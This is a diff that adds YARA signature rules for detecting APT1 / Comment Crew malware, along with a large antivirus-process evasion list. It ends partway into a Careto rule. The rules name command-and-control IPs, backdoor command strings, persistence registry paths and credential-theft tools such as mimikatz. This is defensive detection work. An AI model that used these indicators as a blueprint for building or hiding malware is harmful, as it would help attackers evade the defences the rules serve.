+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "@***@*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>>>" wide ascii
+                $s2 = "sleep:" wide ascii
+                $s3 = "down:" wide ascii
+                $s4 = "*========== Bye Bye ! ==========*" wide ascii
+
+
+        condition:
+                all of them
+}
+
+
+rule thequickbrow_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "thequickbrownfxjmpsvalzydg" wide ascii
+
+
+        condition:
+                all of them
+}
+
+
+rule TABMSGSQL_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "letusgohtppmmv2.0.0.1" wide ascii
+                $s2 = "Mozilla/4.0 (compatible; )" wide ascii
+                $s3 = "filestoc" wide ascii
+                $s4 = "filectos" wide ascii
+                $s5 = "reshell" wide ascii
+
+        condition:
+                all of them
+}
+
+rule CCREWBACK1
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "postvalue" wide ascii
+    $b = "postdata" wide ascii
+    $c = "postfile" wide ascii
+    $d = "hostname" wide ascii
+    $e = "clientkey" wide ascii
+    $f = "start Cmd Failure!" wide ascii
+    $g = "sleep:" wide ascii
+    $h = "downloadcopy:" wide ascii
+    $i = "download:" wide ascii
+    $j = "geturl:" wide ascii
+    $k = "1.234.1.68" wide ascii
+
+  condition:
+    4 of ($a,$b,$c,$d,$e) or $f or 3 of ($g,$h,$i,$j) or $k
+}
+
+rule TrojanCookies_CCREW
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "sleep:" wide ascii
+    $b = "content=" wide ascii
+    $c = "reqpath=" wide ascii
+    $d = "savepath=" wide ascii
+    $e = "command=" wide ascii
+
+
+  condition:
+    4 of ($a,$b,$c,$d,$e)
+}
+
+rule GEN_CCREW1
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "W!r@o#n$g" wide ascii
+    $b = "KerNel32.dll" wide ascii
+
+  condition:
+    any of them
+}
+
+rule Elise
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "SetElise.pdb" wide ascii
+
+  condition:
+    $a
+}
+
+rule EclipseSunCloudRAT
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "Eclipse_A" wide ascii
+    $b = "\\PJTS\\" wide ascii
+    $c = "Eclipse_Client_B.pdb" wide ascii
+    $d = "XiaoME" wide ascii
+    $e = "SunCloud-Code" wide ascii
+    $f = "/uc_server/data/forum.asp" wide ascii
+
+  condition:
+    any of them
+}
+
+rule MoonProject
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "Serverfile is smaller than Clientfile" wide ascii
+    $b = "\\M tools\\" wide ascii
+    $c = "MoonDLL" wide ascii
+        $d = "\\M tools\\" wide ascii
+
+  condition:
+    any of them
+}
+
+rule ccrewDownloader1
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = {DD B5 61 F0 20 47 20 57 D6 65 9C CB 31 1B 65 42}
+
+  condition:
+    any of them
+}
+
+rule ccrewDownloader2
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "3gZFQOBtY3sifNOl" wide ascii
+        $b = "docbWUWsc2gRMv9HN7TFnvnKcrWUUFdAEem9DkqRALoD" wide ascii
+        $c = "6QVSOZHQPCMc2A8HXdsfuNZcmUnIqWrOIjrjwOeagILnnScxadKEr1H2MZNwSnaJ" wide ascii
+
+  condition:
+    any of them
+}
+
+
+rule ccrewMiniasp
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "MiniAsp.pdb" wide ascii
+    $b = "device_t=" wide ascii
+
+  condition:
+    any of them
+}
+
+
+rule ccrewSSLBack2
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = {39 82 49 42 BE 1F 3A}
+
+  condition:
+    any of them
+}
+
+rule ccrewSSLBack3
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "SLYHKAAY" wide ascii
+
+  condition:
+    any of them
+}
+
+
+rule ccrewSSLBack1
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "!@#%$^#@!" wide ascii
+    $b = "64.91.80.6" wide ascii
+
+  condition:
+    any of them
+}
+
+rule ccrewDownloader3
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "ejlcmbv" wide ascii
+        $b = "bhxjuisv" wide ascii
+        $c = "yqzgrh" wide ascii
+        $d = "uqusofrp" wide ascii
+        $e = "Ljpltmivvdcbb" wide ascii
+        $f = "frfogjviirr" wide ascii
+        $g = "ximhttoskop" wide ascii
+  condition:
+    4 of them
+}
+
+
+rule ccrewQAZ
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "!QAZ@WSX" wide ascii
+
+  condition:
+    $a
+}
+
+rule metaxcd
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "<meta xcd=" wide ascii
+
+  condition:
+    $a
+}
+
+rule MiniASP
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+strings:
+    $KEY = { 71 30 6E 63 39 77 38 65 64 61 6F 69 75 6B 32 6D 7A 72 66 79 33 78 74 31 70 35 6C 73 36 37 67 34 62 76 68 6A }
+    $PDB = "MiniAsp.pdb" nocase wide ascii
+
+condition:
+    any of them
+}
+
+rule DownloaderPossibleCCrew
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "%s?%.6u" wide ascii
+    $b = "szFileUrl=%s" wide ascii
+    $c = "status=%u" wide ascii
+    $d = "down file success" wide ascii
+        $e = "Mozilla/4.0 (compatible; MSIE 6.0; Win32)" wide ascii
+
+  condition:
+    all of them
+}
+
+rule APT1_MAPIGET
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $s1 = "%s\\Attachment.dat" wide ascii
+        $s2 = "MyOutlook" wide ascii
+        $s3 = "mail.txt" wide ascii
+        $s4 = "Recv Time:" wide ascii
+        $s5 = "Subject:" wide ascii
+
+    condition:
+        all of them
+}
+
+rule APT1_LIGHTBOLT
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $str1 = "bits.exe" wide ascii
+        $str2 = "PDFBROW" wide ascii
+        $str3 = "Browser.exe" wide ascii
+        $str4 = "Protect!" wide ascii
+    condition:
+        2 of them
+}
+
+rule APT1_GETMAIL
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $stra1 = "pls give the FULL path" wide ascii
+        $stra2 = "mapi32.dll" wide ascii
+        $stra3 = "doCompress" wide ascii
+
+        $strb1 = "getmail.dll" wide ascii
+        $strb2 = "doCompress" wide ascii
+        $strb3 = "love" wide ascii
+    condition:
+        all of ($stra*) or all of ($strb*)
+}
+
+rule APT1_GDOCUPLOAD
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $str1 = "name=\"GALX\"" wide ascii
+        $str2 = "User-Agent: Shockwave Flash" wide ascii
+        $str3 = "add cookie failed..." wide ascii
+        $str4 = ",speed=%f" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_WEBC2_Y21K
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "Y29ubmVjdA" wide ascii // connect
+        $2 = "c2xlZXA" wide ascii // sleep
+        $3 = "cXVpdA" wide ascii // quit
+        $4 = "Y21k" wide ascii // cmd
+        $5 = "dW5zdXBwb3J0" wide ascii // unsupport
+    condition:
+        4 of them
+}
+
+rule APT1_WEBC2_YAHOO
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $http1 = "HTTP/1.0" wide ascii
+        $http2 = "Content-Type:" wide ascii
+        $uagent = "IPHONE8.5(host:%s,ip:%s)" wide ascii
+    condition:
+        all of them
+}
+
+rule APT1_WEBC2_UGX
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $persis = "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN" wide ascii
+        $exe = "DefWatch.exe" wide ascii
+        $html = "index1.html" wide ascii
+        $cmd1 = "!@#tiuq#@!" wide ascii
+        $cmd2 = "!@#dmc#@!" wide ascii
+        $cmd3 = "!@#troppusnu#@!" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_WEBC2_TOCK
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "InprocServer32" wide ascii
+        $2 = "HKEY_PERFORMANCE_DATA" wide ascii
+        $3 = "<!---[<if IE 5>]id=" wide ascii
+    condition:
+        all of them
+}
+
+rule APT1_WEBC2_TABLE
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $msg1 = "Fail To Execute The Command" wide ascii
+        $msg2 = "Execute The Command Successfully" wide ascii
+        $gif1 = /\w+\.gif/
+        $gif2 = "GIF89" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_WEBC2_RAVE
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "iniet.exe" wide ascii
+        $2 = "cmd.exe" wide ascii
+        $3 = "SYSTEM\\CurrentControlSet\\Services\\DEVFS" wide ascii
+        $4 = "Device File System" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_WEBC2_QBP
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "2010QBP" wide ascii
+        $2 = "adobe_sl.exe" wide ascii
+        $3 = "URLDownloadToCacheFile" wide ascii
+        $4 = "dnsapi.dll" wide ascii
+        $5 = "urlmon.dll" wide ascii
+    condition:
+        4 of them
+}
+
+rule APT1_WEBC2_KT3
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "*!Kt3+v|" wide ascii
+        //$2 = " s:" wide ascii
+        //$3 = " dne" wide ascii
+    condition:
+        all of them
+}
+
+rule APT1_WEBC2_HEAD
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "Ready!" wide ascii
+        $2 = "connect ok" wide ascii
+        $3 = "WinHTTP 1.0" wide ascii
+        $4 = "<head>" wide ascii
+    condition:
+        all of them
+}
+
+rule APT1_WEBC2_GREENCAT
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "reader_sl.exe" wide ascii
+        $2 = "MS80547.bat" wide ascii
+        $3 = "ADR32" wide ascii
+        $4 = "ControlService failed!" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_WEBC2_DIV
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "3DC76854-C328-43D7-9E07-24BF894F8EF5" wide ascii
+        $2 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide ascii
+        $3 = "Hello from MFC!" wide ascii
+        $4 = "Microsoft Internet Explorer" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_WEBC2_CSON
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $httpa1 = "/Default.aspx?INDEX=" wide ascii
+        $httpa2 = "/Default.aspx?ID=" wide ascii
+        $httpb1 = "Win32" wide ascii
+        $httpb2 = "Accept: text*/*" wide ascii
+        $exe1 = "xcmd.exe" wide ascii
+        $exe2 = "Google.exe" wide ascii
+    condition:
+        1 of ($exe*) and 1 of ($httpa*) and all of ($httpb*)
+}
+
+rule APT1_WEBC2_CLOVER
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $msg1 = "BUILD ERROR!" wide ascii
+        $msg2 = "SUCCESS!" wide ascii
+        $msg3 = "wild scan" wide ascii
+        $msg4 = "Code too clever" wide ascii
+        $msg5 = "insufficient lookahead" wide ascii
+        $ua1 = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; SV1)" wide ascii
+        $ua2 = "Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.0.12) Firefox/1.5.0.12" wide ascii
+    condition:
+        2 of ($msg*) and 1 of ($ua*)
+}
+
+rule APT1_WEBC2_BOLID
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $vm = "VMProtect" wide ascii
+        $http = "http://[c2_location]/[page].html" wide ascii
+    condition:
+        all of them
+}
+
+rule APT1_WEBC2_ADSPACE
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "<!---HEADER ADSPACE style=" wide ascii
+        $2 = "ERSVC.DLL" wide ascii
+    condition:
+        all of them
+}
+
+rule APT1_WEBC2_AUSOV
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "ntshrui.dll" wide ascii
+        $2 = "%SystemRoot%\\System32\\" wide ascii
+        $3 = "<!--DOCHTML" wide ascii
+        $4 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" wide ascii
+        $5 = "Ausov" wide ascii
+    condition:
+        4 of them
+}
+
+rule APT1_WARP
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $err1 = "exception..." wide ascii
+        $err2 = "failed..." wide ascii
+        $err3 = "opened..." wide ascii
+        $exe1 = "cmd.exe" wide ascii
+        $exe2 = "ISUN32.EXE" wide ascii
+    condition:
+        2 of ($err*) and all of ($exe*)
+}
+
+rule APT1_TARSIP_ECLIPSE
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "\\pipe\\ssnp" wide ascii
+        $2 = "toobu.ini" wide ascii
+        $3 = "Serverfile is not bigger than Clientfile" wide ascii
+        $4 = "URL download success" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_TARSIP_MOON
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $s1 = "\\XiaoME\\SunCloud-Code\\moon" wide ascii
+        $s2 = "URL download success!" wide ascii
+        $s3 = "Kugoosoft" wide ascii
+        $msg1 = "Modify file failed!! So strange!" wide ascii
+        $msg2 = "Create cmd process failed!" wide ascii
+        $msg3 = "The command has not been implemented!" wide ascii
+        $msg4 = "Runas success!" wide ascii
+        $onec1 = "onec.php" wide ascii
+        $onec2 = "/bin/onec" wide ascii
+    condition:
+        1 of ($s*) and 1 of ($msg*) and 1 of ($onec*)
+}
+
+private rule APT1_payloads
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $pay1 = "rusinfo.exe" wide ascii
+        $pay2 = "cmd.exe" wide ascii
+        $pay3 = "AdobeUpdater.exe" wide ascii
+        $pay4 = "buildout.exe" wide ascii
+        $pay5 = "DefWatch.exe" wide ascii
+        $pay6 = "d.exe" wide ascii
+        $pay7 = "em.exe" wide ascii
+        $pay8 = "IMSCMig.exe" wide ascii
+        $pay9 = "localfile.exe" wide ascii
+        $pay10 = "md.exe" wide ascii
+        $pay11 = "mdm.exe" wide ascii
+        $pay12 = "mimikatz.exe" wide ascii
+        $pay13 = "msdev.exe" wide ascii
+        $pay14 = "ntoskrnl.exe" wide ascii
+        $pay15 = "p.exe" wide ascii
+        $pay16 = "otepad.exe" wide ascii
+        $pay17 = "reg.exe" wide ascii
+        $pay18 = "regsvr.exe" wide ascii
+        $pay19 = "runinfo.exe" wide ascii
+        $pay20 = "AdobeUpdate.exe" wide ascii
+        $pay21 = "inetinfo.exe" wide ascii
+        $pay22 = "svehost.exe" wide ascii
+        $pay23 = "update.exe" wide ascii
+        $pay24 = "NTLMHash.exe" wide ascii
+        $pay25 = "wpnpinst.exe" wide ascii
+        $pay26 = "WSDbg.exe" wide ascii
+        $pay27 = "xcmd.exe" wide ascii
+        $pay28 = "adobeup.exe" wide ascii
+        $pay29 = "0830.bin" wide ascii
+        $pay30 = "1001.bin" wide ascii
+        $pay31 = "a.bin" wide ascii
+        $pay32 = "ISUN32.EXE" wide ascii
+        $pay33 = "AcroRD32.EXE" wide ascii
+        $pay34 = "INETINFO.EXE" wide ascii
+    condition:
+        1 of them
+}
+
+private rule APT1_RARSilent_EXE_PDF
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $winrar1 = "WINRAR.SFX" wide ascii
+        $winrar2 = ";The comment below contains SFX script commands" wide ascii
+        $winrar3 = "Silent=1" wide ascii
+
+        $str1 = /Setup=[\s\w\"]+\.(exe|pdf|doc)/
+        $str2 = "Steup=\"" wide ascii
+    condition:
+        all of ($winrar*) and 1 of ($str*)
+}
+
+rule APT1_aspnetreport
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $url = "aspnet_client/report.asp" wide ascii
+        $param = "name=%s&Gender=%c&Random=%04d&SessionKey=%s" wide ascii
+    condition:
+        $url and $param and APT1_payloads
+}
+
+rule APT1_Revird_svc
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $dll1 = "nwwwks.dll" wide ascii
+        $dll2 = "rdisk.dll" wide ascii
+        $dll3 = "skeys.dll" wide ascii
+        $dll4 = "SvcHost.DLL.log" wide ascii
+        $svc1 = "InstallService" wide ascii
+        $svc2 = "RundllInstallA" wide ascii
+        $svc3 = "RundllUninstallA" wide ascii
+        $svc4 = "ServiceMain" wide ascii
+        $svc5 = "UninstallService" wide ascii
+    condition:
+        1 of ($dll*) and 2 of ($svc*)
+}
+
+rule APT1_letusgo
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $letus = /letusgo[\w]+v\d\d?\./
+    condition:
+        $letus
+}
+
+rule APT1_dbg_mess
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $dbg1 = "Down file ok!" wide ascii
+        $dbg2 = "Send file ok!" wide ascii
+        $dbg3 = "Command Error!" wide ascii
+        $dbg4 = "Pls choose target first!" wide ascii
+        $dbg5 = "Alert!" wide ascii
+        $dbg6 = "Pls press enter to make sure!" wide ascii
+        $dbg7 = "Are you sure to " wide ascii
+    condition:
+        4 of them and APT1_payloads
+}
+
+rule APT1_known_malicious_RARSilent
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $str1 = "Analysis And Outlook.doc\"" wide ascii
+        $str2 = "North Korean launch.pdf\"" wide ascii
+        $str3 = "Dollar General.doc\"" wide ascii
+        $str4 = "Dow Corning Corp.pdf\"" wide ascii
+    condition:
+        1 of them and APT1_RARSilent_EXE_PDF
+}
+
+rule avdetect_procs : avdetect
+{
+	meta:
+		author = "AlienVault Labs"
+		type = "info"
+		severity = 1
+		description = "Antivirus detection tricks"
+
+	strings:
+		$proc2 = "LMon.exe" ascii wide
+		$proc3 = "sagui.exe" ascii wide
+		$proc4 = "RDTask.exe" ascii wide
+		$proc5 = "kpf4gui.exe" ascii wide
+		$proc6 = "ALsvc.exe" ascii wide
+		$proc7 = "pxagent.exe" ascii wide
+		$proc8 = "fsma32.exe" ascii wide
+		$proc9 = "licwiz.exe" ascii wide
+		$proc10 = "SavService.exe" ascii wide
+		$proc11 = "prevxcsi.exe" ascii wide
+		$proc12 = "alertwall.exe" ascii wide
+		$proc13 = "livehelp.exe" ascii wide
+		$proc14 = "SAVAdminService.exe" ascii wide
+		$proc15 = "csi-eui.exe" ascii wide
+		$proc16 = "mpf.exe" ascii wide
+		$proc17 = "lookout.exe" ascii wide
+		$proc18 = "savprogress.exe" ascii wide
+		$proc19 = "lpfw.exe" ascii wide
+		$proc20 = "mpfcm.exe" ascii wide
+		$proc21 = "emlproui.exe" ascii wide
+		$proc22 = "savmain.exe" ascii wide
+		$proc23 = "outpost.exe" ascii wide
+		$proc24 = "fameh32.exe" ascii wide
+		$proc25 = "emlproxy.exe" ascii wide
+		$proc26 = "savcleanup.exe" ascii wide
+		$proc27 = "filemon.exe" ascii wide
+		$proc28 = "AntiHook.exe" ascii wide
+		$proc29 = "endtaskpro.exe" ascii wide
+		$proc30 = "savcli.exe" ascii wide
+		$proc31 = "procmon.exe" ascii wide
+		$proc32 = "xfilter.exe" ascii wide
+		$proc33 = "netguardlite.exe" ascii wide
+		$proc34 = "backgroundscanclient.exe" ascii wide
+		$proc35 = "Sniffer.exe" ascii wide
+		$proc36 = "scfservice.exe" ascii wide
+		$proc37 = "oasclnt.exe" ascii wide
+		$proc38 = "sdcservice.exe" ascii wide
+		$proc39 = "acs.exe" ascii wide
+		$proc40 = "scfmanager.exe" ascii wide
+		$proc41 = "omnitray.exe" ascii wide
+		$proc42 = "sdcdevconx.exe" ascii wide
+		$proc43 = "aupdrun.exe" ascii wide
+		$proc44 = "spywaretermin" ascii wide
+		$proc45 = "atorshield.exe" ascii wide
+		$proc46 = "onlinent.exe" ascii wide
+		$proc47 = "sdcdevconIA.exe" ascii wide
+		$proc48 = "sppfw.exe" ascii wide
+		$proc49 = "spywat~1.exe" ascii wide
+		$proc50 = "opf.exe" ascii wide
+		$proc51 = "sdcdevcon.exe" ascii wide
+		$proc52 = "spfirewallsvc.exe" ascii wide
+		$proc53 = "ssupdate.exe" ascii wide
+		$proc54 = "pctavsvc.exe" ascii wide
+		$proc55 = "configuresav.exe" ascii wide
+		$proc56 = "fwsrv.exe" ascii wide
+		$proc57 = "terminet.exe" ascii wide
+		$proc58 = "pctav.exe" ascii wide
+		$proc59 = "alupdate.exe" ascii wide
+		$proc60 = "opfsvc.exe" ascii wide
+		$proc61 = "tscutynt.exe" ascii wide
+		$proc62 = "pcviper.exe" ascii wide
+		$proc63 = "InstLsp.exe" ascii wide
+		$proc64 = "uwcdsvr.exe" ascii wide
+		$proc65 = "umxtray.exe" ascii wide
+		$proc66 = "persfw.exe" ascii wide
+		$proc67 = "CMain.exe" ascii wide
+		$proc68 = "dfw.exe" ascii wide
+		$proc69 = "updclient.exe" ascii wide
+		$proc70 = "pgaccount.exe" ascii wide
+		$proc71 = "CavAUD.exe" ascii wide
+		$proc72 = "ipatrol.exe" ascii wide
+		$proc73 = "webwall.exe" ascii wide
+		$proc74 = "privatefirewall3.exe" ascii wide
+		$proc75 = "CavEmSrv.exe" ascii wide
+		$proc76 = "pcipprev.exe" ascii wide
+		$proc77 = "winroute.exe" ascii wide
+		$proc78 = "protect.exe" ascii wide
+		$proc79 = "Cavmr.exe" ascii wide
+		$proc80 = "prifw.exe" ascii wide
+		$proc81 = "apvxdwin.exe" ascii wide
+		$proc82 = "rtt_crc_service.exe" ascii wide
+		$proc83 = "Cavvl.exe" ascii wide
+		$proc84 = "tzpfw.exe" ascii wide
+		$proc85 = "as3pf.exe" ascii wide
+		$proc86 = "schedulerdaemon.exe" ascii wide
+		$proc87 = "CavApp.exe" ascii wide
+		$proc88 = "privatefirewall3.exe" ascii wide
+		$proc89 = "avas.exe" ascii wide
+		$proc90 = "sdtrayapp.exe" ascii wide
+		$proc91 = "CavCons.exe" ascii wide
+		$proc92 = "pfft.exe" ascii wide
+		$proc93 = "avcom.exe" ascii wide
+		$proc94 = "siteadv.exe" ascii wide
+		$proc95 = "CavMud.exe" ascii wide
+		$proc96 = "armorwall.exe" ascii wide
+		$proc97 = "avkproxy.exe" ascii wide
+		$proc98 = "sndsrvc.exe" ascii wide
+		$proc99 = "CavUMAS.exe" ascii wide
+		$proc100 = "app_firewall.exe" ascii wide
+		$proc101 = "avkservice.exe" ascii wide
+		$proc102 = "snsmcon.exe" ascii wide
+		$proc103 = "UUpd.exe" ascii wide
+		$proc104 = "blackd.exe" ascii wide
+		$proc105 = "avktray.exe" ascii wide
+		$proc106 = "snsupd.exe" ascii wide
+		$proc107 = "cavasm.exe" ascii wide
+		$proc108 = "blackice.exe" ascii wide
+		$proc109 = "avkwctrl.exe" ascii wide
+		$proc110 = "procguard.exe" ascii wide
+		$proc111 = "CavSub.exe" ascii wide
+		$proc112 = "umxagent.exe" ascii wide
+		$proc113 = "avmgma.exe" ascii wide
+		$proc114 = "DCSUserProt.exe" ascii wide
+		$proc115 = "CavUserUpd.exe" ascii wide
+		$proc116 = "kpf4ss.exe" ascii wide
+		$proc117 = "avtask.exe" ascii wide
+		$proc118 = "avkwctl.exe" ascii wide
+		$proc119 = "CavQ.exe" ascii wide
+		$proc120 = "tppfdmn.exe" ascii wide
+		$proc121 = "aws.exe" ascii wide
+		$proc122 = "firewall.exe" ascii wide
+		$proc123 = "Cavoar.exe" ascii wide
+		$proc124 = "blinksvc.exe" ascii wide
+		$proc125 = "bgctl.exe" ascii wide
+		$proc126 = "THGuard.exe" ascii wide
+		$proc127 = "CEmRep.exe" ascii wide
+		$proc128 = "sp_rsser.exe" ascii wide
+		$proc129 = "bgnt.exe" ascii wide
+		$proc130 = "spybotsd.exe" ascii wide
+		$proc131 = "OnAccessInstaller.exe" ascii wide
+		$proc132 = "op_mon.exe" ascii wide
+		$proc133 = "bootsafe.exe" ascii wide
+		$proc134 = "xauth_service.exe" ascii wide
+		$proc135 = "SoftAct.exe" ascii wide
+		$proc136 = "cmdagent.exe" ascii wide
+		$proc137 = "bullguard.exe" ascii wide
+		$proc138 = "xfilter.exe" ascii wide
+		$proc139 = "CavSn.exe" ascii wide
+		$proc140 = "VCATCH.EXE" ascii wide
+		$proc141 = "cdas2.exe" ascii wide
+		$proc142 = "zlh.exe" ascii wide
+		$proc143 = "Packetizer.exe" ascii wide
+		$proc144 = "SpyHunter3.exe" ascii wide
+		$proc145 = "cmgrdian.exe" ascii wide
+		$proc146 = "adoronsfirewall.exe" ascii wide
+		$proc147 = "Packetyzer.exe" ascii wide
+		$proc148 = "wwasher.exe" ascii wide
+		$proc149 = "configmgr.exe" ascii wide
+		$proc150 = "scfservice.exe" ascii wide
+		$proc151 = "zanda.exe" ascii wide
+		$proc152 = "authfw.exe" ascii wide
+		$proc153 = "cpd.exe" ascii wide
+		$proc154 = "scfmanager.exe" ascii wide
+		$proc155 = "zerospywarele.exe" ascii wide
+		$proc156 = "dvpapi.exe" ascii wide
+		$proc157 = "espwatch.exe" ascii wide
+		$proc158 = "dltray.exe" ascii wide
+		$proc159 = "zerospywarelite_installer.exe" ascii wide
+		$proc160 = "clamd.exe" ascii wide
+		$proc161 = "fgui.exe" ascii wide
+		$proc162 = "dlservice.exe" ascii wide
+		$proc163 = "Wireshark.exe" ascii wide
+		$proc164 = "sab_wab.exe" ascii wide
+		$proc165 = "filedeleter.exe" ascii wide
+		$proc166 = "ashwebsv.exe" ascii wide
+		$proc167 = "tshark.exe" ascii wide
+		$proc168 = "SUPERAntiSpyware.exe" ascii wide
+		$proc169 = "firewall.exe" ascii wide
+		$proc170 = "ashdisp.exe" ascii wide
+		$proc171 = "rawshark.exe" ascii wide
+		$proc172 = "vdtask.exe" ascii wide
+		$proc173 = "firewall2004.exe" ascii wide
+		$proc174 = "ashmaisv.exe" ascii wide
+		$proc175 = "Ethereal.exe" ascii wide
+		$proc176 = "asr.exe" ascii wide
+		$proc177 = "firewallgui.exe" ascii wide
+		$proc178 = "ashserv.exe" ascii wide
+		$proc179 = "Tethereal.exe" ascii wide
+		$proc180 = "NetguardLite.exe" ascii wide
+		$proc181 = "gateway.exe" ascii wide
+		$proc182 = "aswupdsv.exe" ascii wide
+		$proc183 = "Windump.exe" ascii wide
+		$proc184 = "nstzerospywarelite.exe" ascii wide
+		$proc185 = "hpf_.exe" ascii wide
+		$proc186 = "avastui.exe" ascii wide
+		$proc187 = "Tcpdump.exe" ascii wide
+		$proc188 = "cdinstx.exe" ascii wide
+		$proc189 = "iface.exe" ascii wide
+		$proc190 = "avastsvc.exe" ascii wide
+		$proc191 = "Netcap.exe" ascii wide
+		$proc192 = "cdas17.exe" ascii wide
+		$proc193 = "invent.exe" ascii wide
+		$proc194 = "Netmon.exe" ascii wide
+		$proc195 = "fsrt.exe" ascii wide
+		$proc196 = "ipcserver.exe" ascii wide
+		$proc197 = "CV.exe" ascii wide
+		$proc198 = "VSDesktop.exe" ascii wide
+		$proc199 = "ipctray.exe" ascii wide
+	condition:
+		3 of them
+}
+rule Careto {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto generic malware signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+
+		/* General */
